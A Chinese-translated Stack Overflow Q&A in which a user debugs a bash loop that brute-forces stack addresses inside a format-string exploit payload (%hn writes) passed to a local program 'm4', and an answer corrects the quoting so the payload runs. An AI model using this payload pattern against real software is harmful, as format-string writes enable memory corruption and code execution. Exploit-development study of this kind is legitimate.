【问题标题】:shell scripting hexadecimal countershell脚本十六进制计数器
【发布时间】:2014-05-10 12:28:24
【问题描述】:

我的 shell 脚本有问题:

我想用不同类型的字符串运行我的程序 m4,我写下了这个脚本:

#!/bin/bash

for number in $( seq 16 253 )
  do
    num=$((number+2))
    hex_base=$( printf "%X" ${number} )
    hex_offset=$( printf "%X" ${num} )
    ./m4 "`python -c 'print "\x66\x66\x${hex_offset}\xed\xff\xbf\x${hex_base}\xed\xff\xbf%49135c%88$hn%14153c%89$hn"'`"
done

它以十六进制从 10 计数到 FD,并将此值放入我的字符串中。 出现这个错误:

ValueError: invalid \x escape

第一个问题:这是一个真正的错误还是只是一个警告? 第二个问题:为什么如果所有值都由您应该在字符串中看到的地址中的两个字符组成,却出现错误?

【问题讨论】:

  • 这里为什么需要shell?如果您使用 python 并使用子进程调用 m4,事情会容易得多。
  • 这是一个格式字符串漏洞利用脚本,我不知道我想写的地址。

标签: python shell format-string


【解决方案1】:

当您从单引号中取出 hex_base 时应该可以工作:

./m4 "`python -c 'print "\x66\x66\x'${hex_offset}'\xed\xff\xbf\x'${hex_base}'\xed\xff\xbf%49135c%88$hn%14153c%89$hn"'`"

【讨论】:

  • 非常感谢!如何在程序输出之前打印索引值(数字)?
  • 你之前是什么意思?类似:print "'$number'\x66\x66..?
  • 类似:10:输出。 11:输出。 12:输出
  • 也许我可以将输出重定向到一个文件?
  • 抱歉,我无法回答您的问题。但也许只是在 python 行之前做一个echo $number 就足够了?
猜你喜欢
  • 2012-10-28
  • 1970-01-01
  • 1970-01-01
  • 2010-09-27
  • 2013-09-23
  • 1970-01-01
  • 1970-01-01
  • 2019-04-29
  • 1970-01-01
相关资源
最近更新 更多